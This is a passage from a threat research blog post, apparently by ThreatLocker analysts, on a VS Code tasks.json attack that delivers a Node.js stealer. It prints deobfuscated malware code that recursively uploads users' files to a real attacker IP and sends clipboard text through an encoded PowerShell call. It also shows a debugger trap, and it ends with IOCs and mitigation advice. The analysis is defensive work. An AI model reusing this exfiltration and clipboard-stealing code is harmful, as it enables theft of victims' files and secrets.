    return false;
  }

  const form = new FormData();
  const stream = fs.createReadStream(filePath); // Create a ReadStream for the file
  form.append("file", stream);

  const validationSecret = "SuperStr0ngSecret@)@^"; // Define HMAC encryption
  const validationToken = crypto
    .createHmac("sha256", validationSecret)
    .update(filePath)
    .digest("hex");

  try {
    const response = await axios.post(
      `${u_s}`, // u_s = "http://144.172.116.80:8086/upload"
      form,
      {
        headers: {
          ...form.getHeaders(),
          userkey: `${u_k}`, // u_k = 704
          hostname: encodeURIComponent(os.hostname()),
          path: encodeURIComponent(filePath),
          t: `${t}`, // t = 7
          validation: validationToken
        },
        timeout: 30000,
        maxBodyLength: Infinity,
        maxContentLength: Infinity
      }
    );

    return response.status >= 200 && response.status < 300;
  } catch (err) {
    if (
      err.code === "ECONNREFUSED" ||
      err.code === "ETIMEDOUT" ||
      err.code === "ENOTFOUND" ||
      err.code === "ECONNRESET" ||
      err.code === "EPIPE" ||

```

```
    (err.response && err.response.status >= 500)
  ) {
    throw err; // On error, throw
  }
  return false;
} finally {
  stream.destroy(); // Once the upload is complete, destroy the ReadStream
}
};
```

Figure 20: UploadFile logic

Within the same embedded script, a function “scanAndUploadDirectory” recursively scans folders for sensitive files, comparing their full paths to the previously defined lists in Figure 19. This is where the “uploadFile” function is invoked, allowing up to three retries per file before breaking and moving on to the next.

```

const delay = (ms) => new Promise(r => setTimeout(r, ms));

const visitedDirs = new Set();
const MAX_RECURSION_DEPTH = 20;
const MAX_PATH_LENGTH = os.platform() === "win32" ? 260 : 4096;
// If this machine is Windows, max path length is 260; all others, 4096 (linux, mac)

const scanAndUploadDirectory = async (dir, skipPriority = false, depth = 0) => {
  if (depth > MAX_RECURSION_DEPTH || dir.length > MAX_PATH_LENGTH) return;
  if (!fs.existsSync(dir)) return;

  const realPath = fs.realpathSync(dir);
  if (visitedDirs.has(realPath)) return; // if this directory has been scanned, skip it
  visitedDirs.add(realPath); // if not, add it to visitedDirs

  let entries;
  try {
    entries = fs.readdirSync(dir, { withFileTypes: true });
  } catch {
    return;
  }

  for (const item of entries) {
    const fullPath = path.join(dir, item.name);

    try {
      const stats = fs.statSync(fullPath);

      if (stats.isDirectory()) {
        if (!isDirectoryNameExcluded(item.name)) {
          await scanAndUploadDirectory(fullPath, skipPriority, depth + 1);
        }
        // If the path specified is a directory, loop this function (recursion)
      } else if (
        stats.isFile() &&
        !isFileExtensionExcluded(item.name) &&
        (!skipPriority || isSensitiveFile(fullPath))
      ) {
        // if this path is a valid file, invoke the uploadFile function
        let retries = 3;
        while (retries-- > 0) {
          try {
            const start = Date.now();
            await uploadFile(fullPath);
            if (Date.now() - start < MIN_UPLOAD_TIME_MS) {
              await delay(ADAPTIVE_DELAY_MS);
            }
            break;
          } catch {
            if (!retries) break;
            await delay(ADAPTIVE_DELAY_MS * (4 - retries));
          }
        }
      }
    } catch {}
  }
};

```

Figure 21: ScanAndUploadDirectory function

The final action the script executes is to define a list of priority directories (including “/mnt” if a WSL environment is detected) and execute the main function, which invokes all previously defined functions.

```
const getPriorityDirectories = () => {
  const dirs = [];
  if (os.platform() === "win32") {
    dirs.push(
      path.join(HOME_DIRECTORY, "Desktop"),
      path.join(HOME_DIRECTORY, "Documents"),
      path.join(HOME_DIRECTORY, "Downloads")
    );
  } else {
    dirs.push(
      path.join(HOME_DIRECTORY, "Desktop"),
      path.join(HOME_DIRECTORY, "Documents"),
      path.join(HOME_DIRECTORY, "Downloads")
    );
    if (is_wsl()) dirs.push("/mnt");
  }
  return dirs.filter(d => fs.existsSync(d));
};
```

Figure 22: Priority directories

```

const main = async () => {
  priorityDirs = getPriorityDirectories();

  for (const dir of priorityDirs) {
    await scanAndUploadDirectory(dir);
  }

  if (os.platform() === "win32") {
    await scanAndUploadDirectory("C:\\\\", true);
  } else {
    await scanAndUploadDirectory(HOME_DIRECTORY, true);
  }
};

main();

```

Figure 23: AutoUpload main function

SocketScript

The final embedded script within this payload repeats some steps such as WSL detection and endpoint declaration. Ultimately, “SocketScript” declares and invokes a “watchClipboard” function that sends clipboard contents to the specified endpoint every second. Likely for organizational reasons, this data is sent to the same endpoint as the previous script with a different port:

hxxp://144[.]172[.]116[.]80:8087

This script also defines the socket URL with the same variable “s_s”, replacing “http” with “ws” to match WebSocket syntax.

```

/* -----
const API_ENDPOINT = `${s_s}/api/notify`; // s_s = "http://144.172.116.80:8087";
const l_e = `${s_s}/api/log`;
const SOCKET_URL = `${s_s.replace(/^http/, "ws").replace(/^https/, "wss")}`;

```

Figure 24: SocketScript API endpoints

Due to this embedded script being run in a different scope, the “f_s_l” function name is reused and is now much simpler. This “f_s_l” function now accepts a 100-character message and captures victim information including hostname, OS type, and username, using the same hardcoded HMAC secret to encrypt this data and send it through Axios. Once again, this logging function will be used to send captured data to attacker infrastructure.

```

async function f_s_l(message, level = "info", data = {}) {
  if (!message) return;

  const validationToken = crypto
    .createHmac("sha256", "SuperStr0ngSecret@)^")
    .update(message.substring(0, 100))
    .digest("hex");

  const s_i = gsi();

  await axios.post(
    l_e,
    {
      ukey: ${u_k}, // u_k = 704
      t: ${t},
      host: ${u_k} + "_" + s_i.host,
      os: s_i.os,
      username: s_i.username,
      message,
      level,
      data
    },
    {
      headers: {
        "Content-Type": "application/json",
        validation: validationToken
      },
      timeout: 10000
    }
  );
}

```

Figure 25: SocketScript "f_s_l" logger function

The next function, "connectSocket", uses the previously declared socket URL to initiate the connection that captured data will be sent through. This function includes a custom method for the attacker. Upon receiving the message "whour" ("who you are"), a "socket.emit" is sent including "wholm" and the captured user data.

```

async function connectSocket() {
  return new Promise((resolve, reject) => {
    const socket = io(SOCKET_URL, {
      reconnectionAttempts: 15,
      reconnectionDelay: 2000,
      timeout: 20000
    });

    socket.on("connect", () => {
      console.log("Connected to socket server");
      resolve(socket);
    });

    socket.on("connect_error", reject);

    socket.on("whour", () => { // Custom request: on receiving 'whour', return captured user info
      const s_i = gsi();
      socket.emit("whoIm", {
        ukey: ${u_k},
        t: ${t},
        host: ${u_k} + "_" + s_i.host,
        os: s_i.os,
        username: s_i.username
      });
    });
  });
}

```

Figure 26: SocketScript “connectSocket” function

Finally, the “watchClipboard” function is declared. This function uses PowerShell and the .NET framework to capture the clipboard contents every 1000 ms and if the content differs from the last clipboard capture, uses the “f_s_l” function to send this data out.

```
Add-Type -AssemblyName System.Windows.Forms;
```

```
[System.Windows.Forms.Clipboard]::GetText()
```

```

async function watchClipboard(interval = 1000) {
    let lastContent = "";

    // Invoke .NET methods to capture clipboard contents
    async function getClipboard() {
        try {
            if (process.platform === "win32") {
                const ps = Buffer.from(
                    `Add-Type -AssemblyName System.Windows.Forms;
[System.Windows.Forms.Clipboard]::GetText()\``, "utf16le"
                ).toString("base64");

                // Run the code held in 'ps', and return the clipboard contents
                return execSync(
                    `powershell -EncodedCommand ${ps}\``,
                    { encoding: "utf8", windowsHide: true }
                ).trim();
            }
        } catch {}
        return null;
    }

    while (true) {
        const content = await getClipboard();
        // If the captured clipboard contents have changed, send to API endpoint
        if (content && content !== lastContent) {
            lastContent = content;
            await f_s_l(content);
        }
        await new Promise(r => setTimeout(r, interval));
    }
}

```

Figure 27: "GetClipboard" monitoring function

Effectively, this function serves to continuously monitor the clipboard and send any new copied text to attacker infrastructure.

Analysis evasion

A notable attempt at evading analysis is the final function in this payload, which serves as a debugger trap. Depending on the argument given, this function will either send a call to attached debuggers, halting automation and prompting user input, or return a function that hangs indefinitely. This is done with the following expression:

```
return function (j) {}.constructor('while (true) {}').apply('counter')
```

By leveraging the “.apply(‘counter’)” method on a non-terminating loop, all resources are seized and the script (along with any attached tools or debuggers) is halted.

```

// Debugger trap
function P(u) {
  function F(x) {
    if (typeof x === 'string') {
      return function (j) {}.constructor('while (true) {}'.apply('counter'))
      // Hang forever (while (true)), intentionally malicious to hang devtools/analysis
    } else {
      if (('' + x / x).length !== 1 || x % 20 === 0) { // if x is not a valid number (non-zero)
        ;(function () {return true}.constructor('debugger').call('action'))
        // Pause debugger and wait for user input
      } else {
        ;(function () {return false}.constructor('debugger').apply('stateObject'))
        // Break debugger execution and hang
      }
    }
  }
  F(++x)
}
try {
  if (u) {
    return F
  } else {
    F(0)
  }
} catch (j) {}
}

```

Figure 28: Debugger trap

Conclusion

Although several stages are required for this attack to succeed, many of the tools and commands used are non-malicious without context. The first step in the chain of compromise began by trusting a malicious source, leading to auto-execution of the “tasks.json” file.

Developers as well as new users of VS Code should be cognizant of these types of attacks and exercise scrutiny when opening unknown projects. By verifying authors and following a Zero Trust methodology, users and companies alike can mitigate risk and ensure safe development in their environments.

IOCs

SHA-256

tasks.json

806de89db37c18b2d722c1c50b9ee90641cdb941836dc98c1d6e1e2049f58db7

vscode-bootstrap.cmd

2a935b27687204c7c09b0f0fada6419c6017c68887b8e0bab4a8f9dabc1616fc

env-setup.npl

a7de382e429b123361b662e0e36ebfc55ac91e1eb47043a6695c1959b15f5588

package.json
d819efc15022108954d730e0493b1ebe4e325bcfd8ef87a101674dfdfb2cdc

Final Payload
cda1f5aec8d0be8a9bd16d119d5e2fece565021b9e11a440f564f1c6f3c725bf

Domain

vscode-load[.]onrender[.]com
ip-api-check-gold[.]vercel[.]app

IP Address

144[.]172[.]116[.]80

How to mitigate this type of attack

Preventing this type of abuse requires user awareness, configuration hardening, and endpoint controls.

Disable or audit automatic task execution: Where possible, automatic task execution should be disabled or restricted, particularly for projects obtained from public repositories or third-party sources.

Inspect tasks.json files before execution: Manually review for suspicious behavior such as: use of Curl, PowerShell, or cmd.exe; OS-specific command branching; obfuscated command strings; piping remote content directly into an interpreter.

Control tool installation: Limiting which frameworks and runtimes are permitted to install and execute on your endpoints reduces the attack surface.

Block unauthorized outbound connections: Preventing tools from reaching untrusted external infrastructure can disrupt multi-stage payload delivery.

Apply Zero Trust principles to developer environments: Developer workstations often receive elevated trust by default, but treating development tools and scripts with the same scrutiny as production workloads helps prevent that “trusted tooling” from becoming a blind spot.

Recommendations for ThreatLocker customers

The ThreatLocker Platform helps you significantly reduce the risk of this attack using existing controls without disrupting your workflows.

Ringfencing™: Limit what VS Code and Node.js are allowed to interact with including access to user directories, clipboards, and networks.

Elevation Control: Ensure developers aren't operating with unnecessary admin privileges. This limits the impact of successful code execution and reduces the attacker's ability to expand access.

Storage Control: Prevent unauthorized file access and exfiltration attempts by restricting which processes can read sensitive file types and directories.

FAQs

What makes this attack effective?

The attack abuses trusted developer tools and a legitimate feature (tasks.json) to execute code without triggering traditional malware indicators. The payload itself is delivered in stages, heavily obfuscated and dependent on context-specific execution.

Is this vulnerability specific to VS Code?

This is not a vulnerability in VS Code itself, but rather an abuse of intended functionality. Any development environment that supports automatic task execution can be targeted in a similar manner.

Does this require user interaction?

Yes. The user must open the project folder and mark it as trusted. However, this action is common and often performed without inspection, especially when working with sample code or public repositories.

Why is Axios required for payload retrieval?

The attacker enforced a library-specific request requirement to evade automated analysis and simple command-line tools such as Curl, ensuring only the intended execution path could retrieve the real payload.

Are developers the primary target?

Yes. This attack specifically targets developer environments, which often have elevated trust, access to sensitive data, and powerful tooling installed by default.



ABOUT THE AUTHOR

William Pires, threat analyst at ThreatLocker, brings a data-first mindset shaped by hands-on work in MDR and customer-facing threat response. He holds a bachelor's degree in accounting and spent two years as a credit analyst before moving into cybersecurity, a path that sharpened his rigor, accuracy, and judgment under pressure. He advanced from approval requests to MDR, then to threat analysis, where he pieces together attack paths from confirmed incidents and researches active threats, group profiles, and emerging tactics. At ThreatLocker, William focuses on translating research into clear detections and practical guidance for customers. His recent work spans software communication analysis, incident triage, and providing cutting edge threat intelligence to enterprise environments and the cybersecurity industry.



ABOUT THE AUTHOR

Marcus Akamo, threat specialist at ThreatLocker, brings a blend of network operations experience and self-driven cybersecurity study to his work on detection engineering. Before moving into security, he spent nearly two years in a network operations center, where he built a practical understanding of traffic flow and system behavior. That foundation helps him distinguish normal patterns from the subtle anomalies that signal trouble. At ThreatLocker, he focuses on building policies that detect and stop new and emerging attacks, turning real time research into protections that help keep organizations safer.



ABOUT THE AUTHOR

John Moutos, threat intelligence team lead at ThreatLocker, is a cybersecurity specialist with roots in enterprise penetration testing and offensive security research. John studied at the Oregon Institute of Technology and earned his bachelor's from the SANS Technology Institute. At ThreatLocker, he leads the threat intelligence program, turning research into practical detections and guidance that helps organizations anticipate and counter emerging attacks.